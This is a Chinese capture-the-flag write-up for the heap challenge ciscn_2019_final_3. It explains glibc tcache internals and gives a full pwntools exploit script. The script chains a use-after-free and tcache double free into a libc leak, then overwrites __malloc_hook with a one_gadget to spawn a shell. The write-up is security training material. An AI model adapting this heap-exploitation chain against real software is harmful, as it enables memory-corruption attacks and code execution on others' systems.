ciscn_2019_final_3
步骤:
- 例行检查,64位程序,保护全开
- 本地试运行一下,看看大概的情况,提示是堆题
- 64位ida载入
add()
remove()
tcache
第一次接触tcache,根据ctfwiki和该文章简单了解一下tcache
tcache全名thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。lib-2.26【2.23以后】正式提供了该机制,并默认开启。
tcache 引入了两个新的结构体,tcache_entry
和 tcache_perthread_struct
。
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next; //每个被放入相应bins中的chunk都会在其用户数据中包含一个tcache_entry(FD指针)。指向同bins中的下一个chunk,构成单链表
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS]; //数组counts用于存放每个bins中的chunk数量
tcache_entry *entries[TCACHE_MAX_BINS]; //数组entries用于放置64个bins
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
关于tcache的具体的介绍看上面的链接。
利用思路:
- 利用uaf漏洞,指向一个堆的size域,然后修改为0x400以上,在delete就可以进入unsorted bin中
- 通过uaf再malloc,就可以泄露main_arena+96的地址,这样泄露了libc地址
- 劫持free_hook函数,修改成system,之后释放一个写有/bin/sh字符串的chunk或者直接利用one_gadget
由于我的ubuntu18.04是最近下的,它有个增强保护把这个double free的洞给修了,所以没法动调截图解释了,只能直接上代码了。
size小于small bin size时(0x400),先放到对应的tcache中,直到tcache被填满(默认是7个),被填满后才会放到fastbin或者unsorted bin中
泄露libc地址通常经过unsortbin,存在tcache的状况下,64位程序须要申请超过0x400大小chunk,free以后才能进unsortbin,因此我们可以通过修改chunksize。
由于程序在后面会将分配给我们的堆的地址打印出来,因此要想办法将chunk分配到libc地址上。经过overlap能够将在tcache中的fd部分变为unsortbin的fd部分,从而分配到libc地址上空间
#encoding:utf-8
from pwn import *
#io=remote('node3.buuoj.cn',29277)
io=process('./ciscn_final_3')
libc=ELF('./libc.so.6')
context.log_level='debug'
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def free(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#gdb.attach(io)
#dup
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
gdb.attach(io)
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8 get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9 get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')
io.interactive()
参考wp:
https://www.cnblogs.com/pppyyyzzz/p/14040210.html
https://www.shangmayuan.com/a/c9cb50dbdea54d96a8619a3d.html
https://www.yuque.com/hxfqg9/bin/ms60xm